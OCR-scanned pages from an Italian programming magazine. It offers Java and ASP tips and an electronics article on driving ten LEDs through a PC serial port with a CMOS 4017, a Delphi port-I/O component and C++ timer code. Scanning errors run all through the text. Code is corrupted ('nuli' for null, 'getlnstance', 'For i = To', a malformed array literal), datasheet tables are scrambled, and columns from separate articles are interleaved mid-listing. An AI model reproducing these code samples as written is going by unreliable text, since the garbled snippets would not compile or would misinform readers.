
StringBuffer bufferl = "Ciao "; 
String string2 = "Federico"; 
bufferl. append(string2); 

Questo è dovuto al fatto che le stringhe in Java sono immutabili e 
quindi l'operatore + (unico operatore overloaded in Java) per unire 
due stringe deve compiere le seguenti operazioni: 

1 creare uno StringBuffer dalla prima stringa; 

2. utilizzare il metodo appena di StringBuffer per la concatenazione; 

3. riconvertire in String lo StringBuffer risultante dalla concatena- 
zione. 

Se sostituite, quindi, lo StringBuffer alla String nei punti dove la con- 
catenazione avviene spesso, potreste rendere molto più efficienti i 
vostri algoritmi. . . 

Pass-by-Value e Pass-By-Reference 

Considerate il seguente codice di esempio di una classe qualunque: 

void passByValue(int i) { f = 15; } 

void passByReference(StringBuffer sb) { sb.append(" vedo?"); } 

void provaMetodi() 

{ 

int i = 1; 

StringBuffer sb = new StringBuffer("Cosa"); 

passByValue(i); 

passByReference(sb); 

System. out.println("Value of i: " + i); 

System. out.println("Value of sb: " + sb); 
} 



if ( object != nuli && object. equalsTo(otherObject) ) 

{ 

// fai qualcosa con object 

} 

Se gli operatori booleani non fossero ottimizzati, il problema sa- 
rebbe che quando object non è inizializzato, la seconda parte del- 
la condizione genera una fastidiosa NullPointerException e il pro- 
gramma si ferma. Invece sia && che I I sono corto-circuitati, nel 
senso che se il primo dei due operandi di questi operatori resti- 
tuisce un valore per cui il valore del secondo operando non va ad 
influire sul risultato dell'espressione, il secondo operando non 
viene valutato, risparmiando così tempo di esecuzione e sulla ni- 
dificazione degli if. In breve, quando object != nuli è false, il valore 
di object. equalsTo(otherObject) non può cambiare il fatto che l'inte- 
ro if sarà falso, e quindi non viene valutato, evitando così la dolo- 
rosa eccezione che dicevamo. 

La stessa cosa vale per I I , ma in questo caso l'ottimizzazione 
scatta per valori true. Questo è una conseguenza delle tabelle di 
verità di AND e di OR, che fanno riferimento alla base dell'arit- 
metica booleana. 

Thread ed eccezioni 

Quando in un thread vengono sollevate delle eccezioni che non 
sono gestite, la macchina virtuale termina il thread in questione 
ed invoca il metodo uncaughtException del ThreadGroup cui il th- 
read appartiene. E possibile derivare una propria implementazio- 
ne di ThreadGroup e riscrivere il metodo uncaughtException per 
avere pieno controllo sulla chiusura problematica dei thread che 
la vostra applicazione utilizza e per poter gestire, in un solo pun- 
to, tutte le eccezioni che non volete catturare singolarmente in 
ogni metodo dei vostri thread. 
La signature del metodo da riscrivere è: 



Il risultato stampato sarà 



public void uncaughtException(Thread t, Throwable e) 



Value of i: 1 

Value of sb: Cosa vedo? 



mentre per la creazione di un thread associato ad un gruppo che 
avete derivato voi, usate uno dei seguenti costruttori 



In altre parole il valore intero originale non ha subito le modifiche 
del metodo passByValue, mentre l'oggetto StringBuffer si porta die- 
tro, dal metodo passByReference , gli effetti della manipolazione su- 



Thread(ThreadGroup tg, Runnable target, String name) 
Thread(ThreadGroup tg, Runnable target) 
Thread(ThreadGroup tg, String name) 



http: //www. itportal.it 



g g 



3 ►►► 53 



Internazionalizzare le applicazioni 

Quando nelle applicazioni si devono visualizzare o stampare nu- 
meri e date o confrontare stringhe, spesso si deve far caso alle diffe- 
renze che queste operazioni comportano rispetto a culture diverse. 
In Java è possibile utilizzare delle classi apposite che permettono di 
gestire in maniera semplice questa varietà. Nel package java .text esi- 
stono delle classi per lo più astratte per la formattazione di numeri 
e date, che utilizzano dei metodi getlnstance per restituire degli og- 
getti di formattazione dei valori: 

NumberFormat nf2 = NumberFormat.getlnstance(Locale.ITALIAN); 
System. out.println(nf2.format(1234. 56)); 

visualizzerà il seguente output 

1.234,56 

secondo la nostra convenzione di utilizzare la virgola come punto 
decimale ed il punto come separatore delle migliaia. 
Siccome le funzionalità offerte sono molte e riguardano la rappre- 
sentazione di svariati formati numerici (percentuali, valuta, decima- 
li, interi, etc), di date, ed il confronto nazionalizzato di stringhe. 
Si consiglia di consultare TAPI di Java per approfondire l'argomen- 
to se pensate che vi possa tornare utile. 

Classi interne e classi anonime 

Nel seguente codice troviamo un esempio sintattico dell'utilizzo 
di classi interne e di classi anonime. Le prime sono classi che ven- 
gono utilizzate solo all'interno di altre classi, in quanto sono defi- 
nite proprio internamente al blocco stesso di definizione della 
classe che le include. La loro utilità è quella di non essere visibili 
se non nell'oggetto che le definisce e quindi sono comode in quel- 
le situazioni in cui servono degli oggetti solo per l'implementa- 
zione di una classe. Le definizioni anonime invece vengono im- 
piegate nella ridefinizione al volo di qualche tipo di dati, ridefini- 
zione che però non ha altri impieghi se non nel contesto in cui è 
dichiarata. 



} 

Come dichiarare array anonimi 

Quando in un metodo è richiesto un array come parametro o co- 
munque in qualunque circostanza vi sia necessità di un array, ricor- 
date che esiste una sintassi abbreviata che vi consente di creare ar- 
ray all'istante (un po' come per le classi anonime) e senza associarli 
ad una variabile. Questo può evitarvi la creazione di variabili inuti- 
li e semplifica il vostro codice. 
Ecco un esempio: 

myMethod(new int[] {10, 23, 45, 9, 12, 59»; 

// dichiarazione di myMethod: void myMethod(int[] values) 

Ovviamente questo ha senso solo se l'array del caso poi non vi ser- 
ve più, perché non avete nessun riferimento all'oggetto anonimo 
creato come mostrato qui sopra. 

Gestire le versioni dei package 

Può essere utile creare dei package java in diverse versioni, in mo- 
do da poter scrivere del codice che faccia riferimento alle caratte- 
ristiche di una o dell'altra release delle classi che fanno parte del 
package stesso. Esiste una specifica java (Java Product Versioning 
Specification) che consente di aggiungere informazioni relative al 
livello di sviluppo di un package attraverso il manifest file del 
JAR in cui le varie classi vengono raccolte. Ecco un esempio di ma- 
nifest. mf con informazioni di versioning: 

Manifest-Version: 1.0 
Name: it/fedmest/myclasses 
Specification-Title: Java Package con Versioni 
Specìfication-Vendor: Federico Mestrone 
Specìfication-Version: 1.0 
Implementation-Title: it.fedmest.myclasses 
Implementation-Vendor: FedericoMestrone.Com 
Implementation-Version: Build 1.0.3-b32 



class UnaClasseNormale 

{ 

void unMetodo() {} 
void unAltroMetodo() {} 

} 

class UnAltraClasseNormale 

{ 

// Queste due classi saranno visibili solo in UnAltraClasseNormale 
static class UnaClasselnterna {} // classe interna statica 
class AltraClasselnterna {} // classe interna 
void unMioMetodo() 

j 

class ClasselnternaLocale {} // classe interna locale al metodo 

_} 

void mioAltroMetodo() 

j 

// classe anonima: ridefinisce un metodo della classe originale 
UnaClasseNormale bref = new UnaClasseNormale () 



{ 



void unMetodo() {} // Qui ridefinisco il metodo originale 



Queste informazioni possono poi essere utilizzate nel vostro codice 
con i metodi della classe java. lang. Package: 

Package pkg = Package. getPackage("it.fedmest.myclasses"); 

System. out.println("Package name:\t" + pkg.getName()); 
System. out.println("Spec title:\t" + pkg.getSpecificationTitleQ); 
System. out.println("Spec vendor:\t" + pkg.getSpecificationVendor()); 
System. out.println("Spec version:\t" + pkg.getSpecificationVersion()); 
System. out.println("Impl title:\t" + pkg.getImplementationTitle()); 
System. out.println("Impl vendor:\t" + pkg.getImplementationVendor()); 
System. out.println("Impl version:\t" + pkg.getImplementationVersion()); 

Realizzare un file Zip in Java 

Java viene fornito completo di tutte le classi necessarie a creare dei 
file ZIP compressi. Con il codice seguente viene creato un file zip- 
pato che include un file .doc compresso. E interessante notare che è 
anche possibile zippare dei dati in memoria, senza necessariamente 
passare per un file, utilizzando uno stream di input diverso da Fi- 
lelnputStream. 

BufferedlnputStream origin = nuli; 



54*** m 



g g 



3 



http: //www. itportal.it 



FileOutputStream dest = new FileOutputStream("D:\\filezippato.zip"); 
ZipOutputStream out = new ZipOutputStream(new 

BufferedOutputStream(dest)); 

out.setMethod(ZipOutputStream.DEFLATED); // Attiva la compressione 

byte data[] = new byte[2048]; 

FilelnputStream fi = new FileInputStream("D:\\filenormale.doc"); 

origin = new BufferedInputStream(fi, BUFFER); 

ZipEntry entry = new ZipEntry("D:\\filenormale.doc"); 

out. putNextEntry (entry); 

int count; 

while((count = origin. read(data, 0, 2048)) != -1) 

{ out.write(data, 0, count); 

} 

origin. close(); 
out.close(); 

ZipAnywhere: WinZip secondo Java 

Esiste un'applicazione grafica Java - gratuita per uso non com- 
merciale - con la quale potete compiere tutte le operazioni classi- 
che di WinZip, oltre a crearvi dei JAR auto-estraibili, molto como- 
di per distribuire le vostre applicazioni. Il programma si chiama 
ZipAnywhere ed è necessario solo un ambiente run-time Java per 
poterlo utilizzare. Lo potete scaricare (si tratta di soli 87Kb) all'in- 
dirizzo http:llwiOTV.geocities.com/zipanywhere - si tratta di un file jar 
eseguibile quindi basta un doppio click per avviare la finestra 
principale. 

Memoria a disposizione 

Se volete conoscere il valore della memoria a disposizione della vo- 
stra applicazione, basta utilizzare il codice che segue: 



in maiuscoletto 

Massimiliano Luciani 

webmaster@byluciani.com 

http://www.byluciani.com 

Function CCase(strSource) 
Dim arrWords 
Dim i 

If IsNull(strSource) Or Len(Trim(strSource)) < 1 Then 
CCase = strSource 

Else 

strSource = LCase(strSource) 
arrWords = Split(strSource) 
For i = To UBound(arrWords) 
arrWords(i) = UCase(Left(arrWords(i), 1)) & Mid(arrWords(i), 2) 

Next 

CCase = Join(arrWords) 

End If 

End Function 

'str = "Un TIP per convertire una stringa in " & _ 

"maiuscoletto - Massimiliano Luciani - byluciani.com" 

str=" d " 

Response.Write "<b>Origine:</b> " & str 

Response.Write "<brxbr>" 

Response.Write "<b>Maiscoletto:</b> " & CCase(str) 

%> 



Runtime rt = Runtime.getRuntime(); 

System. out. println("Memoria totale massima a disposizione della VM: " + 

rt.totalMemoryO); 
System. out. println("Memoria ancora non utilizzata di quella a 

disposizione: " + rt.freeMemoryO); 

Il metodo freeMemoryO dell'oggetto Runtime restituisce il valore in 
bite della memoria di sistema ancora disponibile per la macchina 
virtuale, mentre con totalMemory potete conoscere il numero di byte 
che il sistema operativo ha allocato per la JVM. 



► ASP**^*******^******^ 



A 



Come convertire una stringa 
in maiuscoletto 



Una semplice funzione che si affianca alle standard LCase e UCa- 

se; con essa è possibile convertire una determinata stringa in 

maiuscoletto. 

Tip fornito dal sig. M.Luciani 



<% 



'Funzione Maiuscoletto 



che ti premia 



DCS 
200 




'la stringa strSource passata alla 
'funzione CCase verrà convertita 



Questo mese 
in palio un 

COMPLETO 
SISTEMA DI 
ACQUISIZIONE 
VIDEO D azzle 



Inviaci la tua soluzione ad un problema di 

programmazione, una faq, un tip... 

Tra tutti quelli giunti mensilmente in redazione, 

saranno pubblicati i più meritevoli e, fra questi, 

scelto il "TipOne" del mese, 
PREMIATO CON UN FANTASTICO OMAGGIO! 

Invia i tuoi lavori a ioprogrammo@edmaster.it 



http: //www. itportal.it 



9 9 



3 ►►► 55 



t t 




Il controllo 

DI UNA SEQUENZA DI LUCI 
CON LA PORTA SERIALE 



Elettronica 

e Delphi 



File sul CD 



\soft\codice\ 
SpuntoControlloLuci.zip 



File sul Web 

www.itportal.it/iop69 
/SpuntoControlloLuci.zip 



Espansione 
del circuito 

r-S. L'applicazione 
"*w proposta in que- 
sto atricolo permette di 
controllare dieci luci 
per mezzo della porta 
seriale: è possibile 
espandere il sistema 
ponendo in serie più 
contatori utilizzando 
una particolare forma 
circuitale che sfrutta la 
linea di uscita 05-9 del 
4017. 



Se volete scoprire come 

comandare una sequenza di 

dieci luci per mezzo della porta 

seriale del vostro PC, continuate 

a leggere questo articolo; 

esporremo la risoluzione del 

problema dal punto di vista 

Hardware e Software. 



In queste pagine vedremo come sia possibile co- 
mandare una sequenza di dieci luci, collegate ad 
un semplice circuito elettronico, per mezzo della 
porta seriale del Personal Computer. Dopo l'avvento 
della porta USB, la seriale ha subito un deciso calo di 
popolarità, spesso le porte di questo tipo rimangono 
sempre più spesso inutilizzate sui nostri calcolatori, 
un motivo in più per sfruttarne le enormi potenzialità 
con alcuni utili esperimenti. Il problema del controllo 
di una serie di luci con una porta seriale può fare pen- 
sare immediatamente ad un processo di conversione 
serie-parallelo, come molti programmatori staranno 
immaginando. Questo tipo di soluzione potrebbe es- 
sere realizzabile, anche se in questa sede vogliamo 
semplificare al massimo il progetto del circuito utiliz- 
zando un solo circuito integrato CMOS 4017, dotato 
di un contatore di Johnson a cinque stadi, completi di 
decodificatore a dieci uscite, che utilizziamo per pilo- 
tare la nostra sequenza di luci. 
Si vuole esporre in questa sede come realizzare un cir- 




Fig. 1: L'applicazione proposta in queste pagine 
può essere realizzata con la Scheda Universale 
proposta dall'autore su un numero precedente di 
ioProgrammo, oppure per mezzo di una comune 
basetta millefori. 



cuito elettronico che permetta di risolvere il problema 
esposto finora, e di proporre un software che sia ca- 
pace di controllare il circuito in questione. 

IL CIRCUITO 
INTEGRATO 4017 

Il circuito integrato 4017 contiene al suo interno un 
contatore di Johnson a cinque stadi, munito di un de- 
codificatore decimale a dieci uscite 00- 09 attive a li- 
vello logico HIGH: comprende inoltre una linea di ri- 
porto logico chiamata 05-9, che però non viene utiliz- 
zata nella applicazione che proponiamo in questa se- 
de. 



e=y 



&-STAGS JDflrf&DN CDUNTEH 



I I I I T 



| U P |C| |C-z- pi |0t '"s "ù pi ri fl Pg. 



I2l^l!2. 



\i \2 \i \l \K> \l ,& |8 |9 

Fig.1 FurpiMloiiiìl 'li l'inni 



mrenarniiinFirSirii 



V Ba MS cp,. CP, t s , r.. r:-. ci. 
3 HÉP4017B 



a m ui w m iti ui ww 



I l'I/ l'Illllll'Ulllill-llil 



co* lipul (LOW b HIGH lrt,ga eo) 
ecoi inmi i il .1 1 1 Uà» uni !■ ■!■ 



■ |. -i i.i. .il ..uij .ii- 

csr-rn lp. i*-it.~ i Ov. 



FAMILY DATA, l Dn LIMIT5 caWgorj M&l 

seeFamiy spsmtBtmm 



Fig. 2: Nell'immagine di figura si riporta lo sche- 
ma logico e la piedinatura del circuito integrato 
HEF4017, reperibili in forma completa su Inter- 
net all'indirizzo : http://www.components.phiH- 
ps.com/ (cortesia Philips Semiconductor). 



L'avanzamento del conteggio avviene quando sul 
piedino CPO avviene una transizione dello stato logi- 
co WW->H1GH, mentre CP1 / è a livello logico LOW, 
oppure quando su CP1/ avviene una transizione HI- 
GH->LOW mentre su CPO si ha uno stato logico HI- 
GH. 



FUNCTIONTABLE 



MR 


CPn 


■"F'1 


CiPERATION 


H 


X 


X 


D - 0^, - H; O, b D - L 


L 


H 


■%. 


Cauntar advanirea 


L 


J- 


L 


Cauntar advances 


L 


L 


X 


ll-< ■ 1 1- sii- !■ ■ 


L 


X 


H 


! !" i ;- ili- 1< ■ 


L 


H 


S 


II" i ■! i. ih-.l- ■ 


L 


% 


L 


II" i ! i. ill-.l. ■ 



1. H - HIGH stale (ine mare po&inve v 

2 L - LtfiV siale (ine lesa paslllve voli 

Zi ■ >El abalsll -il il 

fl. _/ - pcElltie-gdng Iranalban 

& ^V^ - neqallrfe-gang Iranslllon 



Fig. 3: Nell'immagine di figura si riporta la tabel- 
la della verità dell'integrato HEF4017 
(cortesia Philips Semiconductors ). 



56»>- M a 



9 9 



3 



http: //www. itport al.it 



Sul terminale 05-9 si ha uno stato logico LOW, quan- 
do sono attive le linee OO -04, mentre si ha la pre- 
senza di un livello HIGH quando sono attive le linee 
05 - 09: questo contatto del circuito integrato per- 
mette di espandere lo schema elettrico rendendo pos- 
sibile l'aggiunta di eventuali sezioni in cascata che 
permettono di incrementare il numero di luci control- 
late. 

La tabella della verità del circuito integrato mostra le 
funzioni logiche del dispositivo, in particolare notia- 
mo che quando il piedino MR (Master Reset) è posto a 
livello logico HIGH, indipendentemente dallo stato 
delle altre linee, la logica interna del chip si pone nel- 
lo stato iniziale del conteggio, ovvero con OO e 05-9 a 
livello HIGH e con le altre uscite a livello LOW. 

ANALISI DELLO SCHEMA 
ELETTRICO 

Nella premessa di questo articolo abbiamo affermato 
di volere controllare una sequenza di luci: vogliamo 
in particolare che le dieci uscite siano attive una alla 
volta; eventualmente in una successiva applicazione 
si potranno collegare più luci su una stessa uscita. 




Fig. 4: Il diagramma logico del circuito integrato 
HEF4017 mostra la struttura del contatore di 
Johnson a cinque stadi e la relativa decodifica a 
dieci uscite (cortesia Philips Semiconductors). 



Il diagramma che segue mostra il circuito logico com- 
prendente i cinque flip-flop in cascata e la decodifica 
decimale realizzata con porte logiche nella parte bas- 
sa dello schema. 
La sequenza temporale di commutazione delle uscite, 



viene inoltre rappresentata nella figura che segue, do- 
ve si nota, per ciascuna uscita il livello logico corri- 
spondente ad un determinato stadio del conteggio, in 
relazione al segnale di clock inviato sui piedini CPO e 
CP1/. 



- '--^(lAJvyyyv^ 


rv 


n „ amyr ~ 




















1 




















i 


e, ™™t , 




















fl j0 ^JT 




















c ,[KjmjT 


















D, OUW 














a, o„™- 




^~1 








^autPUT 










r^ 










~ 






..,™ 






l~ 




i,_ a OVT^T 













Fig. 5: Il diagramma di timing mostra, in forma 
grafica, quanto già riportato nella tabella della 
verità, si notano in particolare la sequenza del 
conteggio e la relativa decodifica a dieci uscite 
(cortesia Philips Semiconductors). 



È stato detto che il circuito viene comandato per mez- 
zo della porta seriale; di seguito vengono riportate le 
connessioni della porta in questione, nelle due versio- 
ni a 9 e 25 Pin, con la rispettive piedinature. 
Nella terza colonna della tabella notiamo l'utilizzo 
particolare che viene assegnato a ciascuna linea, per 
la nostra applicazione. 

Dal momento che abbiamo a disposizione soltanto 
due uscite, corrispondenti rispettivamente a DTR e a 
RTS, oltre a quattro ingressi, è stato deciso di utilizza- 
re DTR come linea di alimentazione del circuito, men- 
tre RTS viene impiegato come segnale di clock per il 
contatore di Johnson contenuto nell'integrato 4017. 1 
quattro ingressi della porta vengono impiegati a fine 
di collaudo del buon funzionamento del circuito e so- 
prattutto a scopo didattico, come si comprenderà me- 
glio più avanti. Il lettore attento avrà notato che non 
vengono utilizzate le linee TX ed RX della porta se- 
riale: il motivo è legato all'architettura di gestione in- 
terna dei segnali in questione attraverso un particola- 
re circuito integrato chiamato UART (Universal Asyn- 
chronous Receiver j Transmitter), abbastanza complesso 
da gestire, che analizzeremo in un appuntamento fu- 
turo. 



Porta Seriale: 
Connettore 25 PIN 


Porta Seriale: 
Connettore 9 PIN 


Segnale Porta Seriale 
(Circuito di Controllo ) 


Tipo di segnale 
Porta seriale 


Pin 4 


Pin 7 


RTS (Clock) 


Request To Sena 


Pin 5 


Pin 8 


CTS (OO) 


Clear To Sena 


Pino 


Pin 6 


DSR (01) 


"Data Set Ready 


Pin 7 


Pin 5 


SG (GND, massa elettrica) 


Signal Ground 


Pin 8 


Pini 


CD(OD 


Carrier Detect 


Pin 20 


Pin 4 


DTR (Alimentazione) 


Data Terminal Ready 


Pin 22 


Pin 9 


RI (03) 


Ring Indicator 




Elettronica 

e Delphi 



Il controllo 

di una sequenza 

di luci con 

la porta seriale 



Piastre 

per montaggi 

sperimentali 

/-& Per la realizzazio- 
~~-J ne di questo cir- 
cuito è stata utilizzata 
la 'scheda universale' 
proposta su questa rivi- 
sta nel numero di No- 
vembre 2002, sulla 
quale si possono trova- 
re informazioni all'indi- 
rizzo: 

http://web.tiscali.it 
/spuntosoft/ 

È possibile comunque 
utilizzare una comune 
breadboard per mon- 
taggi sperimentali. 



Tab. 1: Connessioni della porta seriale nella versione 9-25 Pin. 



http: //www. itport al.it 



g g 



3 ►►► 57 



t t 




Elettronica 

e Delphi 



Il controllo 

di una sequenza 

di luci con 

la porta seriale 



I componenti 
necessari 

N 1 CMOS 4017 
N 10 Diodi LED Rossi 
DI, D2 N2 Diodi 1N4148 
RI NI Res. 10 KOhm 
R2-R11 N10 Res. 2,2 KOhm 



Lo schema elettrico viene riportato in Fig. 6; come si 
può notare non è prevista alcuna forma di alimenta- 
zione esterna, il motivo è che la potenza necessaria 
viene prelevata, attraverso un diodo dalla linea di 
uscita DTR, corrispondente al piedino 20 della nostra 
interfaccia universale. 

L'uscita RTS invia il segnale di clock al contatore con- 
tenuto nel circuito integrato; la resistenza RI viene 
utilizzata come componente di 'Pulì down' per forza- 
re la linea a livello logico LOW, corrispondente alla 
massa elettrica del circuito. 



o X 




Fig. 6: Lo schema elettrico riportato in figura mo- 
stra come sia possibile realizzare un circuito di 
controllo per dieci diodi luminosi, controllati dalla 
porta seriale, senza bisogno di alimentazione 
esterna. Tra parentesi sono riportati i piedini del- 
la scheda universale, mentre nella Tabella 1 le 
connessioni con i connettori seriali DB9 e DB25. 



Si notano le dieci uscite del circuito integrato, ciascu- 
na collegata ad una resistenza di carico di un diodo 
LED, allo scopo di limitarne la corrente interna. 
A scopo di collaudo vengono collegate alle prime 
quattro uscite dell'integrato 4017 gli ingressi della 
porta seriale CTS, DSR, CD e RI, per rendere possibi- 
le l'analisi dei segnali logici durante il conteggio per 
mezzo del programma di testing reperibile sul CD al- 
legato alla rivista. 

REALIZZAZIONE 

DEL CIRCUITO ELETTRICO 

Il circuito elettrico può essere realizzato facilmente 
utilizzando la Scheda Universale, oppure per mezzo 




delle tecniche convenzionali di costruzione dei cir- 
cuiti elettronici, con l'aiuto di stagno, saldatore ed 
una piastra millefori per montaggi sperimentali. 
Il circuito elettrico è molto semplice da realizzare, ba- 
sta seguire lo schema elettrico, aiutandosi con le foto- 
grafie riportate di seguito. 

Nello schema, il circuito integrato è stato raffigurato 
come nella realtà, ovvero la piedinatura è stata posi- 
zionata come sul chip vero e proprio inoltre, anche la 
disposizione dei componenti è stata rappresentata in 
linea di massima come sulla piastra sperimentale, per 
facilitare al massimo la realizzazione del circuito. 
Nell'intorno del circuito 4017 si possono notare le 
connessioni relative alle uscite, realizzate con fili di 
colore blu e verde, le dimensioni del circuito sono ab- 
bastanza ridotte, conviene pertanto riferirsi allo sche- 
ma elettrico per le connessioni di dettaglio. 




Fig. 8: Nell'immagine si ha un dettaglio delle con- 
nessioni relative alle linee di ingresso/uscita del- 
la porta seriale collegata alla scheda universale: 
da notare le numerazioni sul lato sinistro della 
piastra. 



Le connessioni di Ingresso/Uscita della porta sono sta- 
te realizzate con terminali di colore rosso, mentre si 
possono notare i due diodi che sono responsabili del- 
la trasmissione dei segnali provenienti da DTR ed 
RTS. 

Per il montaggio dei diodi è necessario che questi ul- 
timi siano posizionati con la fascetta scura disegnata 
sul loro contenitore collegata al circuito integrato. 



Fig. 7: La fotografia di figura mostra un dettaglio 
dei cablaggi del circuito nell'intorno dell'integra- 
to 4017. 



■ ■ 


■ ■ ■ ■ 


# p 


. p . - 


• p 


?0 ■ m m p 


p p 


fe ■ . p 




p ■ ■ p 




• m a • 




m ■ ■ ■ 




| 35 * a ■ « 




■ p p ■ 




. p p » 




■ ■ ■ • 




Fig. 9: Ciascun diodo LED è dotato di una resi- 
stenza che ne limita la corrente interna. 



58 ►►► Maggi 



3 



http: //www. itport al.it 



Come già detto in precedenza, ciascun diodo LED è 
collegato ad una resistenza di carico che ne limita la 
corrente: durante il montaggio del diodo LED occor- 
re fare attenzione che il terminale più lungo sia posi- 
zionato verso la resistenza, mentre il contatto più cor- 
to deve essere collegato alla massa elettrica, pena il 
mancato funzionamento del circuito. 
Queste poche indicazioni dovrebbero essere suffi- 
cienti al cablaggio dell'intero circuito. 

IL COMPONENTE DELPHI 
DI CONTROLLO 
DELL'INPUT/OUTPUT 

Completata la descrizione dell'hardware veniamo al- 
la definizione del software di controllo del nostro cir- 
cuito elettronico. 

Abbiamo a disposizione un componente Delphi che 
ha la caratteristica di accedere all'hardware del PC at- 
traverso i propri indirizzi fisici di I/O, questa tecnica, 
dal momento che scavalca il sistema operativo, po- 
trebbe non 'piacere' a Windows NT, 2000, oppure XP, 
pertanto si consiglia di utilizzare un calcolatore dota- 
to di Win 3.X, Win 9X, oppure Millennium. 
Personalmente utilizzo un vecchio e glorioso '486 do- 
tato di Win95 per i miei esperimenti elettronici, in 
modo da non rischiare la 'vita' di macchine più nuo- 
ve e pregiate: un PC come questo può essere acqui- 
stato per poche decine di euro e garantisce ottime po- 
tenzialità dal punto di vista della sperimentazione. 
Pdtornando al componente Delphi, notiamo che è do- 
tato soltanto di una funzione e di una procedura, 
queste ultime si occupano rispettivamente della let- 
tura e della scrittura sulla porta fisica di I/O: il codi- 
ce è abbastanza semplice, per chiarezza ne viene ri- 
portato il listato completo, ma per motivi di spazio ne 
viene lasciata l'interpretazione al lettore: 

(l // H IJ_ 

Il TSpuntoHardwarePortlO Delphi 6 Visual Component // 
// Copyright 2003 Luca Spuntoni // 
H spuntosoft@tiscali.it // 

(l U U lj_ 

unit TSpuntoHardwarePortIO_unit; 
interface 

uses 

Windows, Messages, SysUtils, Classes, Controls, 
ExtCtrls, 

SpuntoLedComponent; 

type 

TSpuntoHardwarePortlO = class(TSpuntoLed) 
private 
{ Private declarations } 



protected 

{ Protected declarations } 
public 

{ Public declarations } 

procedure WritePort(PortAddress, PortData:word); 

function ReadPort(PortAddress: word): word; 
published 

{ Published declarations } 
end; 

procedure Register; 

implementation 

procedure TSpuntoHardwarePortlO. WritePort( 

PortAddress, PortData:word); 
// Write PortData over PortAddress if Port Writing 

is enabled 

begin 

PortData := (PortData*256) + PortData; 

asm 

Mov ax, PortData 

Mov dx, PortAddress 

Out dx,ax 

end; 
end; 

function TSpuntoHardwarePortlO. Read Port( 

PortAddress: word): word; 
var 

ReadPortData: word; 
begin 

asm 

Mov dx, PortAddress 

In ax,dx 

Mov ReadPortData, ax 

end; 

Result := Byte(ReadPortData); 

end; 

procedure Register; 
begin 
RegisterComponents('Spunto', 

[TSpuntoHardwarePortlO]); 

end; 

end. 

IL PROGRAMMA C+ + 
DI CONTROLLO 
DEL CIRCUITO 

Il codice riportato di seguito, scritto in C++, costitui- 
sce il tramite attraverso il quale vengono inviati i se- 
gnali di controllo necessari alla porta seriale per ge- 
stire la nostra realizzazione. 

In sostanza, il circuito necessita di due tipi di segnali: 
l'accensione dell'apparato avviene quando la linea 
DTR della porta seriale è posta a livello logico HIGH, 




Elettronica 

e Delphi 



Il controllo 

di una sequenza 

di luci con 

la porta seriale 



Prelevare 
potenza dalla 
porta seriale 

r~s E' possibile prele- 
va vare una limitata 
quantità di energia 
elettrica dalla porta se- 
riale, a patto che la cor- 
rente richiesta non ec- 
ceda pochi milliampe- 
res. Occorre inoltre 
adattare la tensione di 
uscita della linea per 
mezzo di diodi per 'ta- 
gliare' la componente 
negativa del segnale, 
dal momento che la 
porta RS232 fornisce 
un livello di tensione 
che può essere com- 
preso anche tra 
+3/ + 25 Volts e -3/-25 
Volts, con una differen- 
za di tensione tra due 
linee di stati logici dif- 
ferenti che può rag- 
giungere i 50 Volts. È 
indispensabile docu- 
mentarsi sulle caratte- 
ristiche elettriche della 
propria porta seriale 
prima di effettuare 
esperimenti in questo 
senso, dal momento 
che un utilizzo impro- 
prio può danneggiare 
la porta o molto peggio 
la nostra scheda ma- 
dre. 



http: //www. itport al.it 



g g 



3 ►►► 59 



t t 




in un secondo luogo la procedura di conteggio del- 
l'integrato 4017 viene resa possibile inviando una se- 
quenza di impulsi sulla linea RTS. 



Elettronica 

e Delphi 



Il controllo 

di una sequenza 

di luci con 

la porta seriale 



Precauzioni 

r& Prima di collegare 
*V il circuito al PC oc- 
corre verificare la no- 
stra realizzazione con 
attenzione per assicu- 
rarci che tutto sia stato 
collegato e come previ- 
sto. 





IH .Spunto Lights Control: spuntosoft@tiscali.it 




Il j 




Delay: 1000 m 
CLOCK: • 


3ec 

-COMPort: 

P E0M1 
r COM2 




Power 0N/0FF Q 











Fig. 10: Nella figura si ha una schermata del pro- 
gramma che controlla il circuito: è possibile con- 
trollare la velocità di esecuzione della sequenza 
delle luci per mezzo del cursore, nonché scegliere 
la porta di comunicazione sul quale è collegato 
l'apparato. 



// 

#include <vcl.h> 

#pragma hdrstop 

# include "SpuntoControlloLuciUnit.h" 

// 

#pragma package(smartjnit) 

#pragma link "SpuntoLedComponent" 

#pragma link "TSpuntoHardwarePortIO_unit" 

#pragma resource "*.dfm" 

unsigned short datain, CombaseAddress, MCRAddress, 

LCRAddress, MSRAddress; 

TForml *Forml; 

// 

fastcall TForml: :TForml(TComponent* Owner) 

: TForm(Owner) 
{ 

} 



Per ottenere ciò è stato inserito un timer principale, 
che ha lo scopo di fornire la 'cadenza' degli impulsi 
da inviare alla linea RTS, quando il pulsante Poiue- 
rONSpeedButton è in posizione 'Down', cioè quando il 
circuito è alimentato. 

L'impulso viene generato ponendo a 'l' il bit 1 del re- 
gistro MCR (Modem Control Register) della porta se- 
riale: 

// 

void fastcall TForml: :MainTimerTimer(TObject *Sender) 

{ //Main Timer 

if (PowerONSpeedButton->Down) //Power is ON 

j 

SpuntoHardwarePort->LedOn(); 

datain = SpuntoHardwarePort->ReadPort(MCRAddress); 

datain=(datain | 0x03); 

SpuntoHardwarePort->WritePort(MCRAddress,datain); 



DelayTimer->Enabled=true; 
} 

else 

_i 

SpuntoHardwarePort->LedOff(); // Power is OFF 
datain =SpuntoHardware Po rt->ReadPort(MCRAddress); 
datain = (datain & Oxfc); 

SpuntoHardwarePort->WritePort(MCRAddress, datain); 
DelayTimer->Enabled=false; 

_J 

} 

Un secondo timer, chiamato DekyTimer stabilisce la 
durata dell'impulso da inviare a RTS, la fine dell'im- 
pulso stesso viene forzata ponendo a '0' il bit 1 del- 
l'MCR della porta seriale: 

// 

void fastcall TForml: :DelayTimerTimer(TObject 

*Sender) 
{ //Delay timer 

datain=SpuntoHardwarePort->ReadPort(MCRAddress); 

datain = (datain & Oxfd); 

SpuntoHardwarePort->WritePort( MCRAddress, datain); 

SpuntoHardwarePort->LedOff(); 

DelayTimer->Enabled=false; 
} 

Una barra a scorrimento si occupa di stabilire il ri- 
tardo tra un impulso e l'altro espresso in millisecon- 
di; la durata dell'impulso è fissata invece in 200 mil- 
lisecondi: 



// 

void fastcall TForml ::TrackBarChange(TObject *Sender) 

{ //Trackbar management 

MainTimer->Interval=TrackBar->Position; 
Labell->Caption = IntToStr(TrackBar->Position); 

} 

// 

void fastcall TForml: : FormCreate(TObject *Sender) 

{ 

// Sets the labels 

Labell->Caption = IntToStr(TrackBar->Position); 

